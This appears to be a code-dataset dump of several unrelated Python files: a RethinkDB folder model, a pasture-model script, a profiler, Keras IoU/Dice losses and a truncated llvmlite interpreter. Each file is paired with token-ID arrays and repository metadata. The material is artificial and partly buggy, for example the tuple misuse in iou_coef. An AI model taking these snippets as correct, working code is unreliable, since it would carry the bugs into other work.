from passlib.hash import pbkdf2_sha256
from flask import current_app
from api.models.RethinkDBModel import RethinkDBModel
from api.models.file import File
conn = r.connect(db='papers')
class Folder(File):
@classmethod
def create(cls, **kwargs):
name = kwargs.get('name')
parent = kwargs.get('parent')
creator = kwargs.get('creator')
# Direct parent ID
parent_id = '0' if parent is None else parent['id']
doc = {
'name': name,
'parent_id': parent_id,
'creator': creator,
'is_folder': True,
'last_index': 0,
'status': True,
'objects': None,
'date_created': datetime.now(r.make_timezone('+01:00')),
'date_modified': datetime.now(r.make_timezone('+01:00'))
}
res = r.table(cls._table).insert(doc).run(conn)
doc['id'] = res['generated_keys'][0]
if parent is not None:
cls.add_object(parent, doc['id'], True)
cls.tag_folder(parent, doc['id'])
return doc
@classmethod
def move(cls, obj, to):
if to is not None:
parent_tag = to['tag']
child_tag = obj['tag']
parent_sections = parent_tag.split("#")
child_sections = child_tag.split("#")
if len(parent_sections) > len(child_sections):
matches = re.match(child_tag, parent_tag)
if matches is not None:
raise Exception("You can't move this object to the specified folder")
previous_folder_id = obj['parent_id']
previous_folder = cls.find(previous_folder_id)
cls.remove_object(previous_folder, obj['id'])
if to is not None:
cls.add_object(to, obj['id'], True)
@classmethod
def remove_object(cls, folder, object_id):
update_fields = folder['objects'] or []
while object_id in update_fields:
update_fields.remove(object_id)
cls.update(folder['id'], {'objects': update_fields})
@classmethod
def add_object(cls, folder, object_id, is_folder=False):
p = {}
update_fields = folder['objects'] or []
update_fields.append(object_id)
if is_folder:
p['last_index'] = folder['last_index'] + 1
p['objects'] = update_fields
cls.update(folder['id'], p)
@classmethod
def tag_folder(cls, parent, id):
tag = id if parent is None else "{0}#{1}".format(parent['tag'], parent['last_index'])
cls.update(id, {'tag': tag})
| [
1,
1053,
2897,
13,
5215,
337,
13,
13,
5215,
337,
386,
682,
2585,
408,
364,
13,
3166,
432,
852,
1053,
432,
14554,
13,
3166,
432,
852,
29889,
11739,
29879,
1053,
435,
17755,
2392,
13,
3166,
12865,
1053,
12865,
13,
3166,
1209,
1982,
29889,
8568,
1053,
282,
29890,
29895,
2176,
29906,
29918,
17051,
29906,
29945,
29953,
13,
13,
3166,
29784,
1053,
1857,
29918,
932,
13,
13,
3166,
7882,
29889,
9794,
29889,
29934,
621,
682,
4051,
3195,
1053,
390,
621,
682,
4051,
3195,
13,
3166,
7882,
29889,
9794,
29889,
1445,
1053,
3497,
13,
13,
13082,
353,
364,
29889,
6915,
29898,
2585,
2433,
29886,
21321,
1495,
13,
13,
1990,
383,
3194,
29898,
2283,
1125,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
1653,
29898,
25932,
29892,
3579,
19290,
1125,
13,
4706,
1024,
353,
9049,
5085,
29889,
657,
877,
978,
1495,
13,
4706,
3847,
353,
9049,
5085,
29889,
657,
877,
3560,
1495,
13,
4706,
907,
1061,
353,
9049,
5085,
29889,
657,
877,
1037,
1061,
1495,
13,
13,
4706,
396,
8797,
3847,
3553,
13,
4706,
3847,
29918,
333,
353,
525,
29900,
29915,
565,
3847,
338,
6213,
1683,
3847,
1839,
333,
2033,
13,
13,
4706,
1574,
353,
426,
13,
9651,
525,
978,
2396,
1024,
29892,
13,
9651,
525,
3560,
29918,
333,
2396,
3847,
29918,
333,
29892,
13,
9651,
525,
1037,
1061,
2396,
907,
1061,
29892,
13,
9651,
525,
275,
29918,
12083,
2396,
5852,
29892,
13,
9651,
525,
4230,
29918,
2248,
2396,
29871,
29900,
29892,
13,
9651,
525,
4882,
2396,
5852,
29892,
13,
9651,
525,
12650,
2396,
6213,
29892,
13,
9651,
525,
1256,
29918,
11600,
2396,
12865,
29889,
3707,
29898,
29878,
29889,
5675,
29918,
2230,
8028,
877,
29974,
29900,
29896,
29901,
29900,
29900,
1495,
511,
13,
9651,
525,
1256,
29918,
1545,
2164,
2396,
12865,
29889,
3707,
29898,
29878,
29889,
5675,
29918,
2230,
8028,
877,
29974,
29900,
29896,
29901,
29900,
29900,
8785,
13,
4706,
500,
13,
13,
4706,
620,
353,
364,
29889,
2371,
29898,
25932,
3032,
2371,
467,
7851,
29898,
1514,
467,
3389,
29898,
13082,
29897,
13,
4706,
1574,
1839,
333,
2033,
353,
620,
1839,
13525,
29918,
8149,
2033,
29961,
29900,
29962,
13,
13,
4706,
565,
3847,
338,
451,
6213,
29901,
13,
9651,
1067,
29879,
29889,
1202,
29918,
3318,
29898,
3560,
29892,
1574,
1839,
333,
7464,
5852,
29897,
13,
13,
4706,
1067,
29879,
29889,
4039,
29918,
12083,
29898,
3560,
29892,
1574,
1839,
333,
11287,
13,
13,
4706,
736,
1574,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
4337,
29898,
25932,
29892,
5446,
29892,
304,
1125,
13,
4706,
565,
304,
338,
451,
6213,
29901,
13,
9651,
3847,
29918,
4039,
353,
304,
1839,
4039,
2033,
13,
9651,
2278,
29918,
4039,
353,
5446,
1839,
4039,
2033,
13,
13,
9651,
3847,
29918,
27117,
353,
3847,
29918,
4039,
29889,
5451,
14822,
1159,
13,
9651,
2278,
29918,
27117,
353,
2278,
29918,
4039,
29889,
5451,
14822,
1159,
13,
13,
9651,
565,
7431,
29898,
3560,
29918,
27117,
29897,
1405,
7431,
29898,
5145,
29918,
27117,
1125,
13,
18884,
7087,
353,
337,
29889,
4352,
29898,
5145,
29918,
4039,
29892,
3847,
29918,
4039,
29897,
13,
18884,
565,
7087,
338,
451,
6213,
29901,
13,
462,
1678,
12020,
8960,
703,
3492,
508,
29915,
29873,
4337,
445,
1203,
304,
278,
6790,
4138,
1159,
13,
13,
4706,
3517,
29918,
12083,
29918,
333,
353,
5446,
1839,
3560,
29918,
333,
2033,
13,
4706,
3517,
29918,
12083,
353,
1067,
29879,
29889,
2886,
29898,
24957,
29918,
12083,
29918,
333,
29897,
13,
4706,
1067,
29879,
29889,
5992,
29918,
3318,
29898,
24957,
29918,
12083,
29892,
5446,
1839,
333,
11287,
13,
13,
4706,
565,
304,
338,
451,
6213,
29901,
13,
9651,
1067,
29879,
29889,
1202,
29918,
3318,
29898,
517,
29892,
5446,
1839,
333,
7464,
5852,
29897,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
3349,
29918,
3318,
29898,
25932,
29892,
4138,
29892,
1203,
29918,
333,
1125,
13,
4706,
2767,
29918,
9621,
353,
4138,
1839,
12650,
2033,
470,
5159,
13,
4706,
1550,
1203,
29918,
333,
297,
2767,
29918,
9621,
29901,
13,
9651,
2767,
29918,
9621,
29889,
5992,
29898,
3318,
29918,
333,
29897,
13,
4706,
1067,
29879,
29889,
5504,
29898,
12083,
1839,
333,
7464,
11117,
12650,
2396,
2767,
29918,
9621,
1800,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
788,
29918,
3318,
29898,
25932,
29892,
4138,
29892,
1203,
29918,
333,
29892,
338,
29918,
12083,
29922,
8824,
1125,
13,
4706,
282,
353,
6571,
13,
4706,
2767,
29918,
9621,
353,
4138,
1839,
12650,
2033,
470,
5159,
13,
4706,
2767,
29918,
9621,
29889,
4397,
29898,
3318,
29918,
333,
29897,
13,
13,
4706,
565,
338,
29918,
12083,
29901,
13,
9651,
282,
1839,
4230,
29918,
2248,
2033,
353,
4138,
1839,
4230,
29918,
2248,
2033,
718,
29871,
29896,
13,
13,
4706,
282,
1839,
12650,
2033,
353,
2767,
29918,
9621,
13,
4706,
1067,
29879,
29889,
5504,
29898,
12083,
1839,
333,
7464,
282,
29897,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
4055,
29918,
12083,
29898,
25932,
29892,
3847,
29892,
1178,
1125,
13,
4706,
4055,
353,
1178,
565,
3847,
338,
6213,
1683,
29850,
29900,
29913,
26660,
29896,
29913,
1642,
4830,
29898,
3560,
1839,
4039,
7464,
3847,
1839,
4230,
29918,
2248,
11287,
13,
4706,
1067,
29879,
29889,
5504,
29898,
333,
29892,
11117,
4039,
2396,
4055,
1800,
13,
2
] |
Pasture_Growth_Modelling/initialisation_support/dryland_ibasal.py | Komanawa-Solutions-Ltd/SLMACC-2020-CSRA | 0 | 13542 | """
Author: <NAME>
Created: 23/11/2020 11:06 AM
"""
import ksl_env
# add basgra nz functions
ksl_env.add_basgra_nz_path()
from supporting_functions.plotting import plot_multiple_results
from check_basgra_python.support_for_tests import establish_org_input, get_lincoln_broadfield, get_woodward_weather, _clean_harvest
from input_output_keys import matrix_weather_keys_pet
from basgra_python import run_basgra_nz
def run_nonirr_lincoln_low_basil(IBASAL):
params, matrix_weather, days_harvest, doy_irr = establish_org_input('lincoln')
matrix_weather = get_lincoln_broadfield()
matrix_weather.loc[:, 'max_irr'] = 10
matrix_weather.loc[:, 'irr_trig'] = 0
matrix_weather.loc[:, 'irr_targ'] = 1
matrix_weather = matrix_weather.loc[:, matrix_weather_keys_pet]
params['IRRIGF'] = 0 # no irrigation
params['BASALI'] = IBASAL # start at 20% basal
days_harvest = _clean_harvest(days_harvest,matrix_weather)
out = run_basgra_nz(params, matrix_weather, days_harvest, doy_irr, verbose=False)
out.loc[:,'per_fc'] = out.loc[:,'WAL']/out.loc[:,'WAFC']
out.loc[:,'per_paw'] = out.loc[:,'PAW']/out.loc[:,'MXPAW']
return out
if __name__ == '__main__':
ibasals = [0,0.1,0.15,.2,0.3]
data = {
'IBASAL:{}'.format(e): run_nonirr_lincoln_low_basil(e) for e in ibasals
}
plot_multiple_results(data, out_vars=['BASAL', 'DM', 'YIELD','per_paw'])
| [
1,
9995,
13,
13361,
29901,
529,
5813,
29958,
13,
6760,
630,
29901,
29871,
29906,
29941,
29914,
29896,
29896,
29914,
29906,
29900,
29906,
29900,
29871,
29896,
29896,
29901,
29900,
29953,
13862,
13,
9995,
13,
5215,
413,
2536,
29918,
6272,
13,
13,
29937,
788,
2362,
3874,
302,
29920,
3168,
13,
2039,
29880,
29918,
6272,
29889,
1202,
29918,
6500,
3874,
29918,
29876,
29920,
29918,
2084,
580,
13,
3166,
20382,
29918,
12171,
29889,
5317,
1259,
1053,
6492,
29918,
20787,
29918,
9902,
13,
3166,
1423,
29918,
6500,
3874,
29918,
4691,
29889,
5924,
29918,
1454,
29918,
21150,
1053,
10127,
29918,
990,
29918,
2080,
29892,
679,
29918,
1915,
16575,
29918,
6729,
328,
2671,
29892,
679,
29918,
6115,
1328,
29918,
705,
1624,
29892,
903,
14941,
29918,
8222,
10147,
13,
3166,
1881,
29918,
4905,
29918,
8149,
1053,
4636,
29918,
705,
1624,
29918,
8149,
29918,
10963,
13,
3166,
2362,
3874,
29918,
4691,
1053,
1065,
29918,
6500,
3874,
29918,
29876,
29920,
13,
13,
1753,
1065,
29918,
5464,
381,
29878,
29918,
1915,
16575,
29918,
677,
29918,
6500,
309,
29898,
8979,
3289,
1964,
1125,
13,
1678,
8636,
29892,
4636,
29918,
705,
1624,
29892,
3841,
29918,
8222,
10147,
29892,
437,
29891,
29918,
381,
29878,
353,
10127,
29918,
990,
29918,
2080,
877,
1915,
16575,
1495,
13,
13,
1678,
4636,
29918,
705,
1624,
353,
679,
29918,
1915,
16575,
29918,
6729,
328,
2671,
580,
13,
1678,
4636,
29918,
705,
1624,
29889,
2029,
7503,
29892,
525,
3317,
29918,
381,
29878,
2033,
353,
29871,
29896,
29900,
13,
1678,
4636,
29918,
705,
1624,
29889,
2029,
7503,
29892,
525,
381,
29878,
29918,
509,
335,
2033,
353,
29871,
29900,
13,
1678,
4636,
29918,
705,
1624,
29889,
2029,
7503,
29892,
525,
381,
29878,
29918,
29873,
1191,
2033,
353,
29871,
29896,
13,
13,
1678,
4636,
29918,
705,
1624,
353,
4636,
29918,
705,
1624,
29889,
2029,
7503,
29892,
4636,
29918,
705,
1624,
29918,
8149,
29918,
10963,
29962,
13,
13,
1678,
8636,
1839,
8193,
22789,
29943,
2033,
353,
29871,
29900,
29871,
396,
694,
3805,
8966,
362,
13,
1678,
8636,
1839,
29933,
3289,
1964,
29902,
2033,
353,
15731,
3289,
1964,
29871,
396,
1369,
472,
29871,
29906,
29900,
29995,
2362,
284,
13,
13,
1678,
3841,
29918,
8222,
10147,
353,
903,
14941,
29918,
8222,
10147,
29898,
16700,
29918,
8222,
10147,
29892,
5344,
29918,
705,
1624,
29897,
13,
13,
1678,
714,
353,
1065,
29918,
6500,
3874,
29918,
29876,
29920,
29898,
7529,
29892,
4636,
29918,
705,
1624,
29892,
3841,
29918,
8222,
10147,
29892,
437,
29891,
29918,
381,
29878,
29892,
26952,
29922,
8824,
29897,
13,
1678,
714,
29889,
2029,
7503,
5501,
546,
29918,
13801,
2033,
353,
714,
29889,
2029,
7503,
5501,
29956,
1964,
2033,
29914,
449,
29889,
2029,
7503,
5501,
29956,
5098,
29907,
2033,
13,
1678,
714,
29889,
2029,
7503,
5501,
546,
29918,
29886,
1450,
2033,
353,
714,
29889,
2029,
7503,
5501,
7228,
29956,
2033,
29914,
449,
29889,
2029,
7503,
5501,
29924,
29990,
7228,
29956,
2033,
13,
13,
1678,
736,
714,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
474,
6500,
1338,
353,
518,
29900,
29892,
29900,
29889,
29896,
29892,
29900,
29889,
29896,
29945,
7671,
29906,
29892,
29900,
29889,
29941,
29962,
13,
1678,
848,
353,
426,
13,
9651,
525,
8979,
3289,
1964,
29901,
8875,
4286,
4830,
29898,
29872,
1125,
1065,
29918,
5464,
381,
29878,
29918,
1915,
16575,
29918,
677,
29918,
6500,
309,
29898,
29872,
29897,
363,
321,
297,
474,
6500,
1338,
13,
1678,
500,
13,
13,
1678,
6492,
29918,
20787,
29918,
9902,
29898,
1272,
29892,
714,
29918,
16908,
29922,
1839,
29933,
3289,
1964,
742,
525,
23560,
742,
525,
29979,
29902,
27286,
3788,
546,
29918,
29886,
1450,
11287,
13,
2
] |
src/tests/profile.py | royalstream/pythonnet | 1 | 40793 | """Run all of the unit tests for this package over and over,
in order to provide for better profiling."""
from __future__ import print_function
def main():
import sys, os, gc, time
dirname = os.path.split(__file__)
sys.path.append(dirname)
import runtests
gc.set_debug(gc.DEBUG_LEAK)
start = time.clock()
for i in range(50):
print('iteration: %d' % i)
runtests.main()
stop = time.clock()
took = str(stop - start)
print('Total Time: %s' % took)
for item in gc.get_objects():
print(item, sys.getrefcount(item))
if __name__ == '__main__':
main()
sys.exit(0)
| [
1,
9995,
6558,
599,
310,
278,
5190,
6987,
363,
445,
3577,
975,
322,
975,
29892,
13,
259,
297,
1797,
304,
3867,
363,
2253,
20077,
292,
1213,
15945,
13,
3166,
4770,
29888,
9130,
1649,
1053,
1596,
29918,
2220,
13,
13,
13,
1753,
1667,
7295,
13,
1678,
1053,
10876,
29892,
2897,
29892,
330,
29883,
29892,
931,
13,
13,
1678,
4516,
978,
353,
2897,
29889,
2084,
29889,
5451,
22168,
1445,
1649,
29897,
13,
1678,
10876,
29889,
2084,
29889,
4397,
29898,
25721,
29897,
13,
1678,
1053,
1065,
21150,
13,
13,
1678,
330,
29883,
29889,
842,
29918,
8382,
29898,
27354,
29889,
18525,
29918,
1307,
22311,
29897,
13,
13,
1678,
1369,
353,
931,
29889,
13058,
580,
13,
13,
1678,
363,
474,
297,
3464,
29898,
29945,
29900,
1125,
13,
4706,
1596,
877,
1524,
362,
29901,
1273,
29881,
29915,
1273,
474,
29897,
13,
4706,
1065,
21150,
29889,
3396,
580,
13,
13,
1678,
5040,
353,
931,
29889,
13058,
580,
13,
1678,
3614,
353,
851,
29898,
9847,
448,
1369,
29897,
13,
1678,
1596,
877,
11536,
5974,
29901,
1273,
29879,
29915,
1273,
3614,
29897,
13,
13,
1678,
363,
2944,
297,
330,
29883,
29889,
657,
29918,
12650,
7295,
13,
4706,
1596,
29898,
667,
29892,
10876,
29889,
657,
999,
2798,
29898,
667,
876,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1667,
580,
13,
1678,
10876,
29889,
13322,
29898,
29900,
29897,
13,
2
] |
losses.py | abhinav-2912/Polyp-Segmentation | 0 | 16430 | <filename>losses.py
import os
import cv2
import keras
import numpy as np
import albumentations as A
import tensorflow as tf
from keras import backend as K
def jaccard_distance(y_true, y_pred, smooth=100):
intersection = K.sum(K.abs(y_true * y_pred), axis=-1)
sum_ = K.sum(K.abs(y_true) + K.abs(y_pred), axis=-1)
jac = (intersection + smooth) / (sum_ - intersection + smooth)
return (1 - jac) * smooth
def iou(y_true, y_pred, label: int):
"""
Return the Intersection over Union (IoU) for a given label.
Args:
y_true: the expected y values as a one-hot
y_pred: the predicted y values as a one-hot or softmax output
label: the label to return the IoU for
Returns:
the IoU for the given label
"""
# extract the label values using the argmax operator then
# calculate equality of the predictions and truths to the label
y_true = K.cast(K.equal(K.argmax(y_true), label), K.floatx())
y_pred = K.cast(K.equal(K.argmax(y_pred), label), K.floatx())
# calculate the |intersection| (AND) of the labels
intersection = K.sum(y_true * y_pred)
# calculate the |union| (OR) of the labels
union = K.sum(y_true) + K.sum(y_pred) - intersection
# avoid divide by zero - if the union is zero, return 1
# otherwise, return the intersection over union
return K.switch(K.equal(union, 0), 1.0, intersection / union)
def mean_iou(y_true, y_pred):
"""
Return the Intersection over Union (IoU) score.
Args:
y_true: the expected y values as a one-hot
y_pred: the predicted y values as a one-hot or softmax output
Returns:
the scalar IoU value (mean over all labels)
"""
# get number of labels to calculate IoU for
num_labels = K.int_shape(y_pred)[-1]
# initialize a variable to store total IoU in
total_iou = K.variable(0)
# iterate over labels to calculate IoU for
for label in range(num_labels):
total_iou = total_iou + iou(y_true, y_pred, label)
# divide total IoU by number of labels to get mean IoU
return total_iou / num_labels
def IoU(y_pred, y_true):
I = tf.reduce_sum(y_pred * y_true, axis=(1, 2))
U = tf.reduce_sum(y_pred + y_true, axis=(1, 2)) - I
return tf.reduce_mean(I / U)
# def iou_metric(y_true, y_pred):
SMOOTH = 1e-01
def iou_coef(y_true, y_pred, smooth=SMOOTH):
"""
IoU = (|X & Y|)/ (|X or Y|)
"""
intersection = K.sum(K.abs(y_true * y_pred), axis=-1)
union = K.sum((y_true,-1) + K.sum(y_pred,-1)) - intersection
return (intersection + smooth) / (union + smooth)
# return iou_coef
def dice_coef(y_true, y_pred, smooth=1e-01):
intersection = K.sum(K.abs(y_true * y_pred), axis=-1)
return (2. * intersection + smooth) / (K.sum(K.square(y_true),-1) + K.sum(K.square(y_pred),-1) + smooth)
def dice_coef_loss(y_true, y_pred):
return 1 - dice_coef(y_true, y_pred) | [
1,
529,
9507,
29958,
6758,
267,
29889,
2272,
13,
5215,
2897,
13,
5215,
13850,
29906,
13,
5215,
13023,
294,
13,
5215,
12655,
408,
7442,
13,
5215,
27234,
942,
800,
408,
319,
13,
5215,
26110,
408,
15886,
13,
3166,
13023,
294,
1053,
14998,
408,
476,
13,
13,
1753,
432,
5753,
538,
29918,
19244,
29898,
29891,
29918,
3009,
29892,
343,
29918,
11965,
29892,
10597,
29922,
29896,
29900,
29900,
1125,
13,
1678,
17686,
353,
476,
29889,
2083,
29898,
29968,
29889,
6897,
29898,
29891,
29918,
3009,
334,
343,
29918,
11965,
511,
9685,
10457,
29896,
29897,
13,
1678,
2533,
29918,
353,
476,
29889,
2083,
29898,
29968,
29889,
6897,
29898,
29891,
29918,
3009,
29897,
718,
476,
29889,
6897,
29898,
29891,
29918,
11965,
511,
9685,
10457,
29896,
29897,
13,
1678,
432,
562,
353,
313,
1639,
2042,
718,
10597,
29897,
847,
313,
2083,
29918,
448,
17686,
718,
10597,
29897,
13,
1678,
736,
313,
29896,
448,
432,
562,
29897,
334,
10597,
13,
13,
1753,
474,
283,
29898,
29891,
29918,
3009,
29892,
343,
29918,
11965,
29892,
3858,
29901,
938,
1125,
13,
1678,
9995,
13,
1678,
7106,
278,
4124,
2042,
975,
7761,
313,
29902,
29877,
29965,
29897,
363,
263,
2183,
3858,
29889,
13,
1678,
826,
3174,
29901,
13,
4706,
343,
29918,
3009,
29901,
278,
3806,
343,
1819,
408,
263,
697,
29899,
8711,
13,
4706,
343,
29918,
11965,
29901,
278,
25383,
343,
1819,
408,
263,
697,
29899,
8711,
470,
4964,
3317,
1962,
13,
4706,
3858,
29901,
278,
3858,
304,
736,
278,
22244,
29965,
363,
13,
1678,
16969,
29901,
13,
4706,
278,
22244,
29965,
363,
278,
2183,
3858,
13,
1678,
9995,
13,
1678,
396,
6597,
278,
3858,
1819,
773,
278,
1852,
3317,
5455,
769,
13,
1678,
396,
8147,
17193,
310,
278,
27303,
322,
8760,
29879,
304,
278,
3858,
13,
1678,
343,
29918,
3009,
353,
476,
29889,
4384,
29898,
29968,
29889,
11745,
29898,
29968,
29889,
1191,
3317,
29898,
29891,
29918,
3009,
511,
3858,
511,
476,
29889,
7411,
29916,
3101,
13,
1678,
343,
29918,
11965,
353,
476,
29889,
4384,
29898,
29968,
29889,
11745,
29898,
29968,
29889,
1191,
3317,
29898,
29891,
29918,
11965,
511,
3858,
511,
476,
29889,
7411,
29916,
3101,
13,
1678,
396,
8147,
278,
891,
1639,
2042,
29989,
313,
9468,
29897,
310,
278,
11073,
13,
1678,
17686,
353,
476,
29889,
2083,
29898,
29891,
29918,
3009,
334,
343,
29918,
11965,
29897,
13,
1678,
396,
8147,
278,
891,
13094,
29989,
313,
1955,
29897,
310,
278,
11073,
13,
1678,
9833,
353,
476,
29889,
2083,
29898,
29891,
29918,
3009,
29897,
718,
476,
29889,
2083,
29898,
29891,
29918,
11965,
29897,
448,
17686,
13,
1678,
396,
4772,
16429,
491,
5225,
448,
565,
278,
9833,
338,
5225,
29892,
736,
29871,
29896,
13,
1678,
396,
6467,
29892,
736,
278,
17686,
975,
9833,
13,
1678,
736,
476,
29889,
15123,
29898,
29968,
29889,
11745,
29898,
13094,
29892,
29871,
29900,
511,
29871,
29896,
29889,
29900,
29892,
17686,
847,
9833,
29897,
13,
13,
1753,
2099,
29918,
29875,
283,
29898,
29891,
29918,
3009,
29892,
343,
29918,
11965,
1125,
13,
1678,
9995,
13,
1678,
7106,
278,
4124,
2042,
975,
7761,
313,
29902,
29877,
29965,
29897,
8158,
29889,
13,
1678,
826,
3174,
29901,
13,
4706,
343,
29918,
3009,
29901,
278,
3806,
343,
1819,
408,
263,
697,
29899,
8711,
13,
4706,
343,
29918,
11965,
29901,
278,
25383,
343,
1819,
408,
263,
697,
29899,
8711,
470,
4964,
3317,
1962,
13,
1678,
16969,
29901,
13,
4706,
278,
17336,
22244,
29965,
995,
313,
12676,
975,
599,
11073,
29897,
13,
1678,
9995,
13,
1678,
396,
679,
1353,
310,
11073,
304,
8147,
22244,
29965,
363,
13,
1678,
954,
29918,
21134,
353,
476,
29889,
524,
29918,
12181,
29898,
29891,
29918,
11965,
9601,
29899,
29896,
29962,
13,
1678,
396,
11905,
263,
2286,
304,
3787,
3001,
22244,
29965,
297,
13,
1678,
3001,
29918,
29875,
283,
353,
476,
29889,
11918,
29898,
29900,
29897,
13,
1678,
396,
13649,
975,
11073,
304,
8147,
22244,
29965,
363,
13,
1678,
363,
3858,
297,
3464,
29898,
1949,
29918,
21134,
1125,
13,
4706,
3001,
29918,
29875,
283,
353,
3001,
29918,
29875,
283,
718,
474,
283,
29898,
29891,
29918,
3009,
29892,
343,
29918,
11965,
29892,
3858,
29897,
13,
1678,
396,
16429,
3001,
22244,
29965,
491,
1353,
310,
11073,
304,
679,
2099,
22244,
29965,
13,
1678,
736,
3001,
29918,
29875,
283,
847,
954,
29918,
21134,
13,
13,
1753,
22244,
29965,
29898,
29891,
29918,
11965,
29892,
343,
29918,
3009,
1125,
13,
1678,
306,
353,
15886,
29889,
17469,
29918,
2083,
29898,
29891,
29918,
11965,
334,
343,
29918,
3009,
29892,
9685,
7607,
29896,
29892,
29871,
29906,
876,
13,
1678,
501,
353,
15886,
29889,
17469,
29918,
2083,
29898,
29891,
29918,
11965,
718,
343,
29918,
3009,
29892,
9685,
7607,
29896,
29892,
29871,
29906,
876,
448,
306,
13,
1678,
736,
15886,
29889,
17469,
29918,
12676,
29898,
29902,
847,
501,
29897,
13,
13,
29937,
822,
474,
283,
29918,
16414,
29898,
29891,
29918,
3009,
29892,
343,
29918,
11965,
1125,
13,
29903,
6720,
2891,
29950,
353,
29871,
29896,
29872,
29899,
29900,
29896,
13,
1753,
474,
283,
29918,
1111,
1389,
29898,
29891,
29918,
3009,
29892,
343,
29918,
11965,
29892,
10597,
29922,
29903,
6720,
2891,
29950,
1125,
13,
1678,
9995,
13,
1678,
22244,
29965,
353,
313,
29989,
29990,
669,
1160,
29936,
612,
29989,
6802,
313,
29989,
29990,
470,
612,
29989,
29897,
13,
1678,
9995,
13,
1678,
17686,
353,
476,
29889,
2083,
29898,
29968,
29889,
6897,
29898,
29891,
29918,
3009,
334,
343,
29918,
11965,
511,
9685,
10457,
29896,
29897,
13,
1678,
9833,
353,
476,
29889,
2083,
3552,
29891,
29918,
3009,
6653,
29896,
29897,
718,
476,
29889,
2083,
29898,
29891,
29918,
11965,
6653,
29896,
876,
448,
17686,
13,
1678,
736,
313,
1639,
2042,
718,
10597,
29897,
847,
313,
13094,
718,
10597,
29897,
13,
29937,
268,
736,
474,
283,
29918,
1111,
1389,
13,
13,
1753,
17629,
29918,
1111,
1389,
29898,
29891,
29918,
3009,
29892,
343,
29918,
11965,
29892,
10597,
29922,
29896,
29872,
29899,
29900,
29896,
1125,
13,
13,
1678,
17686,
353,
476,
29889,
2083,
29898,
29968,
29889,
6897,
29898,
29891,
29918,
3009,
334,
343,
29918,
11965,
511,
9685,
10457,
29896,
29897,
13,
1678,
736,
313,
29906,
29889,
334,
17686,
718,
10597,
29897,
847,
313,
29968,
29889,
2083,
29898,
29968,
29889,
17619,
29898,
29891,
29918,
3009,
511,
29899,
29896,
29897,
718,
476,
29889,
2083,
29898,
29968,
29889,
17619,
29898,
29891,
29918,
11965,
511,
29899,
29896,
29897,
718,
10597,
29897,
13,
13,
1753,
17629,
29918,
1111,
1389,
29918,
6758,
29898,
29891,
29918,
3009,
29892,
343,
29918,
11965,
1125,
13,
1678,
736,
29871,
29896,
448,
17629,
29918,
1111,
1389,
29898,
29891,
29918,
3009,
29892,
343,
29918,
11965,
29897,
2
] |
enthought/numerical_modeling/numeric_context/mask_filter.py | enthought/etsproxy | 3 | 1602405 | # proxy module
from __future__ import absolute_import
from blockcanvas.numerical_modeling.numeric_context.mask_filter import *
| [
1,
396,
10166,
3883,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
13,
3166,
2908,
15257,
29889,
8058,
936,
29918,
4299,
292,
29889,
21574,
29918,
4703,
29889,
13168,
29918,
4572,
1053,
334,
13,
2
] |
interpreter.py | vultureofficial/Vulture | 1 | 192776 | <reponame>vultureofficial/Vulture
"""
Interpreter
-----------
AST-walking interpreter.
"""
from __future__ import print_function
import operator
import aast as ast
from collections import namedtuple
from lexer import Lexer, TokenStream
from pparser import Parser
from errors import AbrvalgSyntaxError, report_syntax_error
from utils import print_ast, print_tokens, print_env
import codegen
from llvmlite import ir, binding
BuiltinFunction = namedtuple('BuiltinFunction', ['name', 'params', 'body'])
module = ir.Module(name='testing.vlt')
builder = None
#target = binding.Target.from_default_triple()
#target_machine = target.create_target_machine()
#print(target, target_machine)
class Break(Exception):
pass
class Continue(Exception):
pass
class Return(Exception):
def __init__(self, value):
self.value = value
class Environment(object):
def __init__(self, parent=None, args=None):
self._parent = parent
self._values = {}
if args is not None:
self._from_dict(args)
def _from_dict(self, args):
for key, value in args.items():
self.set(key, value)
def set(self, key, val):
self._values[key] = val
def get(self, key):
val = self._values.get(key, None)
if val is None and self._parent is not None:
return self._parent.get(key)
else:
return val
def asdict(self):
return self._values
def __repr__(self):
return 'Environment({})'.format(str(self._values))
def eval_binary_operator(node, env):
simple_operations = {
'+': operator.add,
'-': operator.sub,
'*': operator.mul,
'/': operator.truediv,
'%': operator.mod,
'>': operator.gt,
'>=': operator.ge,
'<': operator.lt,
'<=': operator.le,
'==': operator.eq,
'!=': operator.ne,
'..': range,
'...': lambda start, end: range(start, end + 1),
}
lazy_operations = {
'&&': lambda lnode, lenv: bool(eval_expression(lnode.left, lenv)) and bool(eval_expression(lnode.right, lenv)),
'||': lambda lnode, lenv: bool(eval_expression(lnode.left, lenv)) or bool(eval_expression(lnode.right, lenv)),
}
if node.operator in simple_operations:
return simple_operations[node.operator](eval_expression(node.left, env), eval_expression(node.right, env))
elif node.operator in lazy_operations:
return lazy_operations[node.operator](node, env)
else:
raise Exception('Invalid operator {}'.format(node.operator))
def eval_unary_operator(node, env):
operations = {
'-': operator.neg,
'!': operator.not_,
}
return operations[node.operator](eval_expression(node.right, env))
def eval_assignment(node, env):
if isinstance(node.left, ast.SubscriptOperator):
return eval_setitem(node, env)
else:
return env.set(node.left.value, eval_expression(node.right, env))
def eval_condition(node, env):
if eval_expression(node.test, env):
return eval_statements(node.if_body, env)
for cond in node.elifs:
if eval_expression(cond.test, env):
return eval_statements(cond.body, env)
if node.else_body is not None:
return eval_statements(node.else_body, env)
def eval_match(node, env):
test = eval_expression(node.test, env)
for pattern in node.patterns:
if eval_expression(pattern.pattern, env) == test:
return eval_statements(pattern.body, env)
if node.else_body is not None:
return eval_statements(node.else_body, env)
def eval_while_loop(node, env):
while eval_expression(node.test, env):
try:
eval_statements(node.body, env)
except Break:
break
except Continue:
pass
def eval_for_loop(node, env):
var_name = node.var_name
collection = eval_expression(node.collection, env)
for val in collection:
env.set(var_name, val)
try:
eval_statements(node.body, env)
except Break:
break
except Continue:
pass
typeInfo = None
def eval_function_declaration(node, env):
typeInfo = []
_hash = ''
if isinstance(node.params, type(None)) == False:
for x in node.params:
_hash = _hash + x['type']
if x['type'] == 'ptr':
default = x['default'].arguments[0].value
